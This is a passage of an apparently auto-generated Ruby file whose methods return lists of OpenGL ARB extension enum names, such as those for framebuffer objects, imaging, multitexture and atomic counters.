'GL_FRAMEBUFFER_ATTACHMENT_ALPHA_SIZE',
'GL_FRAMEBUFFER_ATTACHMENT_DEPTH_SIZE',
'GL_FRAMEBUFFER_ATTACHMENT_STENCIL_SIZE',
'GL_FRAMEBUFFER_DEFAULT',
'GL_FRAMEBUFFER_UNDEFINED',
'GL_DEPTH_STENCIL_ATTACHMENT',
'GL_MAX_RENDERBUFFER_SIZE',
'GL_DEPTH_STENCIL',
'GL_UNSIGNED_INT_24_8',
'GL_DEPTH24_STENCIL8',
'GL_TEXTURE_STENCIL_SIZE',
'GL_UNSIGNED_NORMALIZED',
'GL_FRAMEBUFFER_BINDING',
'GL_DRAW_FRAMEBUFFER_BINDING',
'GL_RENDERBUFFER_BINDING',
'GL_READ_FRAMEBUFFER',
'GL_DRAW_FRAMEBUFFER',
'GL_READ_FRAMEBUFFER_BINDING',
'GL_RENDERBUFFER_SAMPLES',
'GL_FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE',
'GL_FRAMEBUFFER_ATTACHMENT_OBJECT_NAME',
'GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL',
'GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE',
'GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_LAYER',
'GL_FRAMEBUFFER_COMPLETE',
'GL_FRAMEBUFFER_INCOMPLETE_ATTACHMENT',
'GL_FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT',
'GL_FRAMEBUFFER_INCOMPLETE_DRAW_BUFFER',
'GL_FRAMEBUFFER_INCOMPLETE_READ_BUFFER',
'GL_FRAMEBUFFER_UNSUPPORTED',
'GL_MAX_COLOR_ATTACHMENTS',
'GL_COLOR_ATTACHMENT0',
'GL_COLOR_ATTACHMENT1',
'GL_COLOR_ATTACHMENT2',
'GL_COLOR_ATTACHMENT3',
'GL_COLOR_ATTACHMENT4',
'GL_COLOR_ATTACHMENT5',
'GL_COLOR_ATTACHMENT6',
'GL_COLOR_ATTACHMENT7',
'GL_COLOR_ATTACHMENT8',
'GL_COLOR_ATTACHMENT9',
'GL_COLOR_ATTACHMENT10',
'GL_COLOR_ATTACHMENT11',
'GL_COLOR_ATTACHMENT12',
'GL_COLOR_ATTACHMENT13',
'GL_COLOR_ATTACHMENT14',
'GL_COLOR_ATTACHMENT15',
'GL_DEPTH_ATTACHMENT',
'GL_STENCIL_ATTACHMENT',
'GL_FRAMEBUFFER',
'GL_RENDERBUFFER',
'GL_RENDERBUFFER_WIDTH',
'GL_RENDERBUFFER_HEIGHT',
'GL_RENDERBUFFER_INTERNAL_FORMAT',
'GL_STENCIL_INDEX1',
'GL_STENCIL_INDEX4',
'GL_STENCIL_INDEX8',
'GL_STENCIL_INDEX16',
'GL_RENDERBUFFER_RED_SIZE',
'GL_RENDERBUFFER_GREEN_SIZE',
'GL_RENDERBUFFER_BLUE_SIZE',
'GL_RENDERBUFFER_ALPHA_SIZE',
'GL_RENDERBUFFER_DEPTH_SIZE',
'GL_RENDERBUFFER_STENCIL_SIZE',
'GL_FRAMEBUFFER_INCOMPLETE_MULTISAMPLE',
'GL_MAX_SAMPLES',
'GL_INDEX',
]
end # self.get_ext_enum_GL_ARB_framebuffer_object
def self.get_ext_enum_GL_ARB_framebuffer_sRGB
[
'GL_FRAMEBUFFER_SRGB',
]
end # self.get_ext_enum_GL_ARB_framebuffer_sRGB
def self.get_ext_enum_GL_ARB_geometry_shader4
[
'GL_LINES_ADJACENCY_ARB',
'GL_LINE_STRIP_ADJACENCY_ARB',
'GL_TRIANGLES_ADJACENCY_ARB',
'GL_TRIANGLE_STRIP_ADJACENCY_ARB',
'GL_PROGRAM_POINT_SIZE_ARB',
'GL_MAX_GEOMETRY_TEXTURE_IMAGE_UNITS_ARB',
'GL_FRAMEBUFFER_ATTACHMENT_LAYERED_ARB',
'GL_FRAMEBUFFER_INCOMPLETE_LAYER_TARGETS_ARB',
'GL_FRAMEBUFFER_INCOMPLETE_LAYER_COUNT_ARB',
'GL_GEOMETRY_SHADER_ARB',
'GL_GEOMETRY_VERTICES_OUT_ARB',
'GL_GEOMETRY_INPUT_TYPE_ARB',
'GL_GEOMETRY_OUTPUT_TYPE_ARB',
'GL_MAX_GEOMETRY_VARYING_COMPONENTS_ARB',
'GL_MAX_VERTEX_VARYING_COMPONENTS_ARB',
'GL_MAX_GEOMETRY_UNIFORM_COMPONENTS_ARB',
'GL_MAX_GEOMETRY_OUTPUT_VERTICES_ARB',
'GL_MAX_GEOMETRY_TOTAL_OUTPUT_COMPONENTS_ARB',
'GL_MAX_VARYING_COMPONENTS',
'GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_LAYER',
]
end # self.get_ext_enum_GL_ARB_geometry_shader4
def self.get_ext_enum_GL_ARB_get_program_binary
[
'GL_PROGRAM_BINARY_RETRIEVABLE_HINT',
'GL_PROGRAM_BINARY_LENGTH',
'GL_NUM_PROGRAM_BINARY_FORMATS',
'GL_PROGRAM_BINARY_FORMATS',
]
end # self.get_ext_enum_GL_ARB_get_program_binary
def self.get_ext_enum_GL_ARB_get_texture_sub_image
[
]
end # self.get_ext_enum_GL_ARB_get_texture_sub_image
def self.get_ext_enum_GL_ARB_gpu_shader5
[
'GL_GEOMETRY_SHADER_INVOCATIONS',
'GL_MAX_GEOMETRY_SHADER_INVOCATIONS',
'GL_MIN_FRAGMENT_INTERPOLATION_OFFSET',
'GL_MAX_FRAGMENT_INTERPOLATION_OFFSET',
'GL_FRAGMENT_INTERPOLATION_OFFSET_BITS',
'GL_MAX_VERTEX_STREAMS',
]
end # self.get_ext_enum_GL_ARB_gpu_shader5
def self.get_ext_enum_GL_ARB_gpu_shader_fp64
[
'GL_DOUBLE',
'GL_DOUBLE_VEC2',
'GL_DOUBLE_VEC3',
'GL_DOUBLE_VEC4',
'GL_DOUBLE_MAT2',
'GL_DOUBLE_MAT3',
'GL_DOUBLE_MAT4',
'GL_DOUBLE_MAT2x3',
'GL_DOUBLE_MAT2x4',
'GL_DOUBLE_MAT3x2',
'GL_DOUBLE_MAT3x4',
'GL_DOUBLE_MAT4x2',
'GL_DOUBLE_MAT4x3',
]
end # self.get_ext_enum_GL_ARB_gpu_shader_fp64
def self.get_ext_enum_GL_ARB_gpu_shader_int64
[
'GL_INT64_ARB',
'GL_UNSIGNED_INT64_ARB',
'GL_INT64_VEC2_ARB',
'GL_INT64_VEC3_ARB',
'GL_INT64_VEC4_ARB',
'GL_UNSIGNED_INT64_VEC2_ARB',
'GL_UNSIGNED_INT64_VEC3_ARB',
'GL_UNSIGNED_INT64_VEC4_ARB',
]
end # self.get_ext_enum_GL_ARB_gpu_shader_int64
def self.get_ext_enum_GL_ARB_half_float_pixel
[
'GL_HALF_FLOAT_ARB',
]
end # self.get_ext_enum_GL_ARB_half_float_pixel
def self.get_ext_enum_GL_ARB_half_float_vertex
[
'GL_HALF_FLOAT',
]
end # self.get_ext_enum_GL_ARB_half_float_vertex
def self.get_ext_enum_GL_ARB_imaging
[
'GL_CONSTANT_COLOR',
'GL_ONE_MINUS_CONSTANT_COLOR',
'GL_CONSTANT_ALPHA',
'GL_ONE_MINUS_CONSTANT_ALPHA',
'GL_BLEND_COLOR',
'GL_FUNC_ADD',
'GL_MIN',
'GL_MAX',
'GL_BLEND_EQUATION',
'GL_FUNC_SUBTRACT',
'GL_FUNC_REVERSE_SUBTRACT',
'GL_CONVOLUTION_1D',
'GL_CONVOLUTION_2D',
'GL_SEPARABLE_2D',
'GL_CONVOLUTION_BORDER_MODE',
'GL_CONVOLUTION_FILTER_SCALE',
'GL_CONVOLUTION_FILTER_BIAS',
'GL_REDUCE',
'GL_CONVOLUTION_FORMAT',
'GL_CONVOLUTION_WIDTH',
'GL_CONVOLUTION_HEIGHT',
'GL_MAX_CONVOLUTION_WIDTH',
'GL_MAX_CONVOLUTION_HEIGHT',
'GL_POST_CONVOLUTION_RED_SCALE',
'GL_POST_CONVOLUTION_GREEN_SCALE',
'GL_POST_CONVOLUTION_BLUE_SCALE',
'GL_POST_CONVOLUTION_ALPHA_SCALE',
'GL_POST_CONVOLUTION_RED_BIAS',
'GL_POST_CONVOLUTION_GREEN_BIAS',
'GL_POST_CONVOLUTION_BLUE_BIAS',
'GL_POST_CONVOLUTION_ALPHA_BIAS',
'GL_HISTOGRAM',
'GL_PROXY_HISTOGRAM',
'GL_HISTOGRAM_WIDTH',
'GL_HISTOGRAM_FORMAT',
'GL_HISTOGRAM_RED_SIZE',
'GL_HISTOGRAM_GREEN_SIZE',
'GL_HISTOGRAM_BLUE_SIZE',
'GL_HISTOGRAM_ALPHA_SIZE',
'GL_HISTOGRAM_LUMINANCE_SIZE',
'GL_HISTOGRAM_SINK',
'GL_MINMAX',
'GL_MINMAX_FORMAT',
'GL_MINMAX_SINK',
'GL_TABLE_TOO_LARGE',
'GL_COLOR_MATRIX',
'GL_COLOR_MATRIX_STACK_DEPTH',
'GL_MAX_COLOR_MATRIX_STACK_DEPTH',
'GL_POST_COLOR_MATRIX_RED_SCALE',
'GL_POST_COLOR_MATRIX_GREEN_SCALE',
'GL_POST_COLOR_MATRIX_BLUE_SCALE',
'GL_POST_COLOR_MATRIX_ALPHA_SCALE',
'GL_POST_COLOR_MATRIX_RED_BIAS',
'GL_POST_COLOR_MATRIX_GREEN_BIAS',
'GL_POST_COLOR_MATRIX_BLUE_BIAS',
'GL_POST_COLOR_MATRIX_ALPHA_BIAS',
'GL_COLOR_TABLE',
'GL_POST_CONVOLUTION_COLOR_TABLE',
'GL_POST_COLOR_MATRIX_COLOR_TABLE',
'GL_PROXY_COLOR_TABLE',
'GL_PROXY_POST_CONVOLUTION_COLOR_TABLE',
'GL_PROXY_POST_COLOR_MATRIX_COLOR_TABLE',
'GL_COLOR_TABLE_SCALE',
'GL_COLOR_TABLE_BIAS',
'GL_COLOR_TABLE_FORMAT',
'GL_COLOR_TABLE_WIDTH',
'GL_COLOR_TABLE_RED_SIZE',
'GL_COLOR_TABLE_GREEN_SIZE',
'GL_COLOR_TABLE_BLUE_SIZE',
'GL_COLOR_TABLE_ALPHA_SIZE',
'GL_COLOR_TABLE_LUMINANCE_SIZE',
'GL_COLOR_TABLE_INTENSITY_SIZE',
'GL_CONSTANT_BORDER',
'GL_REPLICATE_BORDER',
'GL_CONVOLUTION_BORDER_COLOR',
]
end # self.get_ext_enum_GL_ARB_imaging
def self.get_ext_enum_GL_ARB_indirect_parameters
[
'GL_PARAMETER_BUFFER_ARB',
'GL_PARAMETER_BUFFER_BINDING_ARB',
]
end # self.get_ext_enum_GL_ARB_indirect_parameters
def self.get_ext_enum_GL_ARB_instanced_arrays
[
'GL_VERTEX_ATTRIB_ARRAY_DIVISOR_ARB',
]
end # self.get_ext_enum_GL_ARB_instanced_arrays
def self.get_ext_enum_GL_ARB_internalformat_query
[
'GL_NUM_SAMPLE_COUNTS',
]
end # self.get_ext_enum_GL_ARB_internalformat_query
def self.get_ext_enum_GL_ARB_internalformat_query2
[
'GL_IMAGE_FORMAT_COMPATIBILITY_TYPE',
'GL_NUM_SAMPLE_COUNTS',
'GL_RENDERBUFFER',
'GL_SAMPLES',
'GL_TEXTURE_1D',
'GL_TEXTURE_1D_ARRAY',
'GL_TEXTURE_2D',
'GL_TEXTURE_2D_ARRAY',
'GL_TEXTURE_3D',
'GL_TEXTURE_CUBE_MAP',
'GL_TEXTURE_CUBE_MAP_ARRAY',
'GL_TEXTURE_RECTANGLE',
'GL_TEXTURE_BUFFER',
'GL_TEXTURE_2D_MULTISAMPLE',
'GL_TEXTURE_2D_MULTISAMPLE_ARRAY',
'GL_TEXTURE_COMPRESSED',
'GL_INTERNALFORMAT_SUPPORTED',
'GL_INTERNALFORMAT_PREFERRED',
'GL_INTERNALFORMAT_RED_SIZE',
'GL_INTERNALFORMAT_GREEN_SIZE',
'GL_INTERNALFORMAT_BLUE_SIZE',
'GL_INTERNALFORMAT_ALPHA_SIZE',
'GL_INTERNALFORMAT_DEPTH_SIZE',
'GL_INTERNALFORMAT_STENCIL_SIZE',
'GL_INTERNALFORMAT_SHARED_SIZE',
'GL_INTERNALFORMAT_RED_TYPE',
'GL_INTERNALFORMAT_GREEN_TYPE',
'GL_INTERNALFORMAT_BLUE_TYPE',
'GL_INTERNALFORMAT_ALPHA_TYPE',
'GL_INTERNALFORMAT_DEPTH_TYPE',
'GL_INTERNALFORMAT_STENCIL_TYPE',
'GL_MAX_WIDTH',
'GL_MAX_HEIGHT',
'GL_MAX_DEPTH',
'GL_MAX_LAYERS',
'GL_MAX_COMBINED_DIMENSIONS',
'GL_COLOR_COMPONENTS',
'GL_DEPTH_COMPONENTS',
'GL_STENCIL_COMPONENTS',
'GL_COLOR_RENDERABLE',
'GL_DEPTH_RENDERABLE',
'GL_STENCIL_RENDERABLE',
'GL_FRAMEBUFFER_RENDERABLE',
'GL_FRAMEBUFFER_RENDERABLE_LAYERED',
'GL_FRAMEBUFFER_BLEND',
'GL_READ_PIXELS',
'GL_READ_PIXELS_FORMAT',
'GL_READ_PIXELS_TYPE',
'GL_TEXTURE_IMAGE_FORMAT',
'GL_TEXTURE_IMAGE_TYPE',
'GL_GET_TEXTURE_IMAGE_FORMAT',
'GL_GET_TEXTURE_IMAGE_TYPE',
'GL_MIPMAP',
'GL_MANUAL_GENERATE_MIPMAP',
'GL_AUTO_GENERATE_MIPMAP',
'GL_COLOR_ENCODING',
'GL_SRGB_READ',
'GL_SRGB_WRITE',
'GL_SRGB_DECODE_ARB',
'GL_FILTER',
'GL_VERTEX_TEXTURE',
'GL_TESS_CONTROL_TEXTURE',
'GL_TESS_EVALUATION_TEXTURE',
'GL_GEOMETRY_TEXTURE',
'GL_FRAGMENT_TEXTURE',
'GL_COMPUTE_TEXTURE',
'GL_TEXTURE_SHADOW',
'GL_TEXTURE_GATHER',
'GL_TEXTURE_GATHER_SHADOW',
'GL_SHADER_IMAGE_LOAD',
'GL_SHADER_IMAGE_STORE',
'GL_SHADER_IMAGE_ATOMIC',
'GL_IMAGE_TEXEL_SIZE',
'GL_IMAGE_COMPATIBILITY_CLASS',
'GL_IMAGE_PIXEL_FORMAT',
'GL_IMAGE_PIXEL_TYPE',
'GL_SIMULTANEOUS_TEXTURE_AND_DEPTH_TEST',
'GL_SIMULTANEOUS_TEXTURE_AND_STENCIL_TEST',
'GL_SIMULTANEOUS_TEXTURE_AND_DEPTH_WRITE',
'GL_SIMULTANEOUS_TEXTURE_AND_STENCIL_WRITE',
'GL_TEXTURE_COMPRESSED_BLOCK_WIDTH',
'GL_TEXTURE_COMPRESSED_BLOCK_HEIGHT',
'GL_TEXTURE_COMPRESSED_BLOCK_SIZE',
'GL_CLEAR_BUFFER',
'GL_TEXTURE_VIEW',
'GL_VIEW_COMPATIBILITY_CLASS',
'GL_FULL_SUPPORT',
'GL_CAVEAT_SUPPORT',
'GL_IMAGE_CLASS_4_X_32',
'GL_IMAGE_CLASS_2_X_32',
'GL_IMAGE_CLASS_1_X_32',
'GL_IMAGE_CLASS_4_X_16',
'GL_IMAGE_CLASS_2_X_16',
'GL_IMAGE_CLASS_1_X_16',
'GL_IMAGE_CLASS_4_X_8',
'GL_IMAGE_CLASS_2_X_8',
'GL_IMAGE_CLASS_1_X_8',
'GL_IMAGE_CLASS_11_11_10',
'GL_IMAGE_CLASS_10_10_10_2',
'GL_VIEW_CLASS_128_BITS',
'GL_VIEW_CLASS_96_BITS',
'GL_VIEW_CLASS_64_BITS',
'GL_VIEW_CLASS_48_BITS',
'GL_VIEW_CLASS_32_BITS',
'GL_VIEW_CLASS_24_BITS',
'GL_VIEW_CLASS_16_BITS',
'GL_VIEW_CLASS_8_BITS',
'GL_VIEW_CLASS_S3TC_DXT1_RGB',
'GL_VIEW_CLASS_S3TC_DXT1_RGBA',
'GL_VIEW_CLASS_S3TC_DXT3_RGBA',
'GL_VIEW_CLASS_S3TC_DXT5_RGBA',
'GL_VIEW_CLASS_RGTC1_RED',
'GL_VIEW_CLASS_RGTC2_RG',
'GL_VIEW_CLASS_BPTC_UNORM',
'GL_VIEW_CLASS_BPTC_FLOAT',
]
end # self.get_ext_enum_GL_ARB_internalformat_query2
def self.get_ext_enum_GL_ARB_invalidate_subdata
[
]
end # self.get_ext_enum_GL_ARB_invalidate_subdata
def self.get_ext_enum_GL_ARB_map_buffer_alignment
[
'GL_MIN_MAP_BUFFER_ALIGNMENT',
]
end # self.get_ext_enum_GL_ARB_map_buffer_alignment
def self.get_ext_enum_GL_ARB_map_buffer_range
[
'GL_MAP_READ_BIT',
'GL_MAP_WRITE_BIT',
'GL_MAP_INVALIDATE_RANGE_BIT',
'GL_MAP_INVALIDATE_BUFFER_BIT',
'GL_MAP_FLUSH_EXPLICIT_BIT',
'GL_MAP_UNSYNCHRONIZED_BIT',
]
end # self.get_ext_enum_GL_ARB_map_buffer_range
def self.get_ext_enum_GL_ARB_matrix_palette
[
'GL_MATRIX_PALETTE_ARB',
'GL_MAX_MATRIX_PALETTE_STACK_DEPTH_ARB',
'GL_MAX_PALETTE_MATRICES_ARB',
'GL_CURRENT_PALETTE_MATRIX_ARB',
'GL_MATRIX_INDEX_ARRAY_ARB',
'GL_CURRENT_MATRIX_INDEX_ARB',
'GL_MATRIX_INDEX_ARRAY_SIZE_ARB',
'GL_MATRIX_INDEX_ARRAY_TYPE_ARB',
'GL_MATRIX_INDEX_ARRAY_STRIDE_ARB',
'GL_MATRIX_INDEX_ARRAY_POINTER_ARB',
]
end # self.get_ext_enum_GL_ARB_matrix_palette
def self.get_ext_enum_GL_ARB_multi_bind
[
]
end # self.get_ext_enum_GL_ARB_multi_bind
def self.get_ext_enum_GL_ARB_multi_draw_indirect
[
]
end # self.get_ext_enum_GL_ARB_multi_draw_indirect
def self.get_ext_enum_GL_ARB_multisample
[
'GL_MULTISAMPLE_ARB',
'GL_SAMPLE_ALPHA_TO_COVERAGE_ARB',
'GL_SAMPLE_ALPHA_TO_ONE_ARB',
'GL_SAMPLE_COVERAGE_ARB',
'GL_SAMPLE_BUFFERS_ARB',
'GL_SAMPLES_ARB',
'GL_SAMPLE_COVERAGE_VALUE_ARB',
'GL_SAMPLE_COVERAGE_INVERT_ARB',
'GL_MULTISAMPLE_BIT_ARB',
]
end # self.get_ext_enum_GL_ARB_multisample
def self.get_ext_enum_GL_ARB_multitexture
[
'GL_TEXTURE0_ARB',
'GL_TEXTURE1_ARB',
'GL_TEXTURE2_ARB',
'GL_TEXTURE3_ARB',
'GL_TEXTURE4_ARB',
'GL_TEXTURE5_ARB',
'GL_TEXTURE6_ARB',
'GL_TEXTURE7_ARB',
'GL_TEXTURE8_ARB',
'GL_TEXTURE9_ARB',
'GL_TEXTURE10_ARB',
'GL_TEXTURE11_ARB',
'GL_TEXTURE12_ARB',
'GL_TEXTURE13_ARB',
'GL_TEXTURE14_ARB',
'GL_TEXTURE15_ARB',
'GL_TEXTURE16_ARB',
'GL_TEXTURE17_ARB',
'GL_TEXTURE18_ARB',
'GL_TEXTURE19_ARB',
'GL_TEXTURE20_ARB',
'GL_TEXTURE21_ARB',
'GL_TEXTURE22_ARB',
'GL_TEXTURE23_ARB',
'GL_TEXTURE24_ARB',
'GL_TEXTURE25_ARB',
'GL_TEXTURE26_ARB',
'GL_TEXTURE27_ARB',
'GL_TEXTURE28_ARB',
'GL_TEXTURE29_ARB',
'GL_TEXTURE30_ARB',
'GL_TEXTURE31_ARB',
'GL_ACTIVE_TEXTURE_ARB',
'GL_CLIENT_ACTIVE_TEXTURE_ARB',
'GL_MAX_TEXTURE_UNITS_ARB',
]
end # self.get_ext_enum_GL_ARB_multitexture
def self.get_ext_enum_GL_ARB_occlusion_query
[
'GL_QUERY_COUNTER_BITS_ARB',
'GL_CURRENT_QUERY_ARB',
'GL_QUERY_RESULT_ARB',
'GL_QUERY_RESULT_AVAILABLE_ARB',
'GL_SAMPLES_PASSED_ARB',
]
end # self.get_ext_enum_GL_ARB_occlusion_query
def self.get_ext_enum_GL_ARB_occlusion_query2
[
'GL_ANY_SAMPLES_PASSED',
]
end # self.get_ext_enum_GL_ARB_occlusion_query2
def self.get_ext_enum_GL_ARB_parallel_shader_compile
[
'GL_MAX_SHADER_COMPILER_THREADS_ARB',
'GL_COMPLETION_STATUS_ARB',
]
end # self.get_ext_enum_GL_ARB_parallel_shader_compile
def self.get_ext_enum_GL_ARB_pipeline_statistics_query
[
'GL_VERTICES_SUBMITTED_ARB',
'GL_PRIMITIVES_SUBMITTED_ARB',
'GL_VERTEX_SHADER_INVOCATIONS_ARB',
'GL_TESS_CONTROL_SHADER_PATCHES_ARB',
'GL_TESS_EVALUATION_SHADER_INVOCATIONS_ARB',
'GL_GEOMETRY_SHADER_INVOCATIONS',
'GL_GEOMETRY_SHADER_PRIMITIVES_EMITTED_ARB',
'GL_FRAGMENT_SHADER_INVOCATIONS_ARB',
'GL_COMPUTE_SHADER_INVOCATIONS_ARB',
'GL_CLIPPING_INPUT_PRIMITIVES_ARB',
'GL_CLIPPING_OUTPUT_PRIMITIVES_ARB',
]
end # self.get_ext_enum_GL_ARB_pipeline_statistics_query
def self.get_ext_enum_GL_ARB_pixel_buffer_object
[
'GL_PIXEL_PACK_BUFFER_ARB',
'GL_PIXEL_UNPACK_BUFFER_ARB',
'GL_PIXEL_PACK_BUFFER_BINDING_ARB',
'GL_PIXEL_UNPACK_BUFFER_BINDING_ARB',
]
end # self.get_ext_enum_GL_ARB_pixel_buffer_object
def self.get_ext_enum_GL_ARB_point_parameters
[
'GL_POINT_SIZE_MIN_ARB',
'GL_POINT_SIZE_MAX_ARB',
'GL_POINT_FADE_THRESHOLD_SIZE_ARB',
'GL_POINT_DISTANCE_ATTENUATION_ARB',
]
end # self.get_ext_enum_GL_ARB_point_parameters
def self.get_ext_enum_GL_ARB_point_sprite
[
'GL_POINT_SPRITE_ARB',
'GL_COORD_REPLACE_ARB',
]
end # self.get_ext_enum_GL_ARB_point_sprite
def self.get_ext_enum_GL_ARB_post_depth_coverage
[
]
end # self.get_ext_enum_GL_ARB_post_depth_coverage
def self.get_ext_enum_GL_ARB_program_interface_query
[
'GL_UNIFORM',
'GL_UNIFORM_BLOCK',
'GL_PROGRAM_INPUT',
'GL_PROGRAM_OUTPUT',
'GL_BUFFER_VARIABLE',
'GL_SHADER_STORAGE_BLOCK',
'GL_ATOMIC_COUNTER_BUFFER',
'GL_VERTEX_SUBROUTINE',
'GL_TESS_CONTROL_SUBROUTINE',
'GL_TESS_EVALUATION_SUBROUTINE',
'GL_GEOMETRY_SUBROUTINE',
'GL_FRAGMENT_SUBROUTINE',
'GL_COMPUTE_SUBROUTINE',
'GL_VERTEX_SUBROUTINE_UNIFORM',
'GL_TESS_CONTROL_SUBROUTINE_UNIFORM',
'GL_TESS_EVALUATION_SUBROUTINE_UNIFORM',
'GL_GEOMETRY_SUBROUTINE_UNIFORM',
'GL_FRAGMENT_SUBROUTINE_UNIFORM',
'GL_COMPUTE_SUBROUTINE_UNIFORM',
'GL_TRANSFORM_FEEDBACK_VARYING',
'GL_ACTIVE_RESOURCES',
'GL_MAX_NAME_LENGTH',
'GL_MAX_NUM_ACTIVE_VARIABLES',
'GL_MAX_NUM_COMPATIBLE_SUBROUTINES',
'GL_NAME_LENGTH',
'GL_TYPE',
'GL_ARRAY_SIZE',
'GL_OFFSET',
'GL_BLOCK_INDEX',
'GL_ARRAY_STRIDE',
'GL_MATRIX_STRIDE',
'GL_IS_ROW_MAJOR',
'GL_ATOMIC_COUNTER_BUFFER_INDEX',
'GL_BUFFER_BINDING',
'GL_BUFFER_DATA_SIZE',
'GL_NUM_ACTIVE_VARIABLES',
'GL_ACTIVE_VARIABLES',
'GL_REFERENCED_BY_VERTEX_SHADER',
'GL_REFERENCED_BY_TESS_CONTROL_SHADER',
'GL_REFERENCED_BY_TESS_EVALUATION_SHADER',
'GL_REFERENCED_BY_GEOMETRY_SHADER',
'GL_REFERENCED_BY_FRAGMENT_SHADER',
'GL_REFERENCED_BY_COMPUTE_SHADER',
'GL_TOP_LEVEL_ARRAY_SIZE',
'GL_TOP_LEVEL_ARRAY_STRIDE',
'GL_LOCATION',
'GL_LOCATION_INDEX',
'GL_IS_PER_PATCH',
'GL_NUM_COMPATIBLE_SUBROUTINES',
'GL_COMPATIBLE_SUBROUTINES',
]
end # self.get_ext_enum_GL_ARB_program_interface_query
def self.get_ext_enum_GL_ARB_provoking_vertex
[
'GL_QUADS_FOLLOW_PROVOKING_VERTEX_CONVENTION',
'GL_FIRST_VERTEX_CONVENTION',
'GL_LAST_VERTEX_CONVENTION',
'GL_PROVOKING_VERTEX',
]
end # self.get_ext_enum_GL_ARB_provoking_vertex
def self.get_ext_enum_GL_ARB_query_buffer_object
[
'GL_QUERY_BUFFER',
'GL_QUERY_BUFFER_BARRIER_BIT',
'GL_QUERY_BUFFER_BINDING',
'GL_QUERY_RESULT_NO_WAIT',
]
end # self.get_ext_enum_GL_ARB_query_buffer_object
def self.get_ext_enum_GL_ARB_robust_buffer_access_behavior
[
]
end # self.get_ext_enum_GL_ARB_robust_buffer_access_behavior
def self.get_ext_enum_GL_ARB_robustness
[
'GL_NO_ERROR',
'GL_CONTEXT_FLAG_ROBUST_ACCESS_BIT_ARB',
'GL_LOSE_CONTEXT_ON_RESET_ARB',
'GL_GUILTY_CONTEXT_RESET_ARB',
'GL_INNOCENT_CONTEXT_RESET_ARB',
'GL_UNKNOWN_CONTEXT_RESET_ARB',
'GL_RESET_NOTIFICATION_STRATEGY_ARB',
'GL_NO_RESET_NOTIFICATION_ARB',
]
end # self.get_ext_enum_GL_ARB_robustness
def self.get_ext_enum_GL_ARB_robustness_isolation
[
]
end # self.get_ext_enum_GL_ARB_robustness_isolation
def self.get_ext_enum_GL_ARB_sample_locations
[
'GL_SAMPLE_LOCATION_SUBPIXEL_BITS_ARB',
'GL_SAMPLE_LOCATION_PIXEL_GRID_WIDTH_ARB',
'GL_SAMPLE_LOCATION_PIXEL_GRID_HEIGHT_ARB',
'GL_PROGRAMMABLE_SAMPLE_LOCATION_TABLE_SIZE_ARB',
'GL_SAMPLE_LOCATION_ARB',
'GL_PROGRAMMABLE_SAMPLE_LOCATION_ARB',
'GL_FRAMEBUFFER_PROGRAMMABLE_SAMPLE_LOCATIONS_ARB',
'GL_FRAMEBUFFER_SAMPLE_LOCATION_PIXEL_GRID_ARB',
]
end # self.get_ext_enum_GL_ARB_sample_locations
def self.get_ext_enum_GL_ARB_sample_shading
[
'GL_SAMPLE_SHADING_ARB',
'GL_MIN_SAMPLE_SHADING_VALUE_ARB',
]
end # self.get_ext_enum_GL_ARB_sample_shading
def self.get_ext_enum_GL_ARB_sampler_objects
[
'GL_SAMPLER_BINDING',
]
end # self.get_ext_enum_GL_ARB_sampler_objects
def self.get_ext_enum_GL_ARB_seamless_cube_map
[
'GL_TEXTURE_CUBE_MAP_SEAMLESS',
]
end # self.get_ext_enum_GL_ARB_seamless_cube_map
def self.get_ext_enum_GL_ARB_seamless_cubemap_per_texture
[
'GL_TEXTURE_CUBE_MAP_SEAMLESS',
]
end # self.get_ext_enum_GL_ARB_seamless_cubemap_per_texture
def self.get_ext_enum_GL_ARB_separate_shader_objects
[
'GL_VERTEX_SHADER_BIT',
'GL_FRAGMENT_SHADER_BIT',
'GL_GEOMETRY_SHADER_BIT',
'GL_TESS_CONTROL_SHADER_BIT',
'GL_TESS_EVALUATION_SHADER_BIT',
'GL_ALL_SHADER_BITS',
'GL_PROGRAM_SEPARABLE',
'GL_ACTIVE_PROGRAM',
'GL_PROGRAM_PIPELINE_BINDING',
]
end # self.get_ext_enum_GL_ARB_separate_shader_objects
def self.get_ext_enum_GL_ARB_shader_atomic_counter_ops
[
]
end # self.get_ext_enum_GL_ARB_shader_atomic_counter_ops
def self.get_ext_enum_GL_ARB_shader_atomic_counters
[
'GL_ATOMIC_COUNTER_BUFFER',
'GL_ATOMIC_COUNTER_BUFFER_BINDING',
'GL_ATOMIC_COUNTER_BUFFER_START',
'GL_ATOMIC_COUNTER_BUFFER_SIZE',
'GL_ATOMIC_COUNTER_BUFFER_DATA_SIZE',
'GL_ATOMIC_COUNTER_BUFFER_ACTIVE_ATOMIC_COUNTERS',
'GL_ATOMIC_COUNTER_BUFFER_ACTIVE_ATOMIC_COUNTER_INDICES',
'GL_ATOMIC_COUNTER_BUFFER_REFERENCED_BY_VERTEX_SHADER',
'GL_ATOMIC_COUNTER_BUFFER_REFERENCED_BY_TESS_CONTROL_SHADER',
'GL_ATOMIC_COUNTER_BUFFER_REFERENCED_BY_TESS_EVALUATION_SHADER',
'GL_ATOMIC_COUNTER_BUFFER_REFERENCED_BY_GEOMETRY_SHADER',
'GL_ATOMIC_COUNTER_BUFFER_REFERENCED_BY_FRAGMENT_SHADER',
'GL_MAX_VERTEX_ATOMIC_COUNTER_BUFFERS',
'GL_MAX_TESS_CONTROL_ATOMIC_COUNTER_BUFFERS',
'GL_MAX_TESS_EVALUATION_ATOMIC_COUNTER_BUFFERS',
'GL_MAX_GEOMETRY_ATOMIC_COUNTER_BUFFERS',
'GL_MAX_FRAGMENT_ATOMIC_COUNTER_BUFFERS',
'GL_MAX_COMBINED_ATOMIC_COUNTER_BUFFERS',
'GL_MAX_VERTEX_ATOMIC_COUNTERS',
'GL_MAX_TESS_CONTROL_ATOMIC_COUNTERS',
'GL_MAX_TESS_EVALUATION_ATOMIC_COUNTERS',
'GL_MAX_GEOMETRY_ATOMIC_COUNTERS',
'GL_MAX_FRAGMENT_ATOMIC_COUNTERS',
'GL_MAX_COMBINED_ATOMIC_COUNTERS',
'GL_MAX_ATOMIC_COUNTER_BUFFER_SIZE',
'GL_MAX_ATOMIC_COUNTER_BUFFER_BINDINGS',
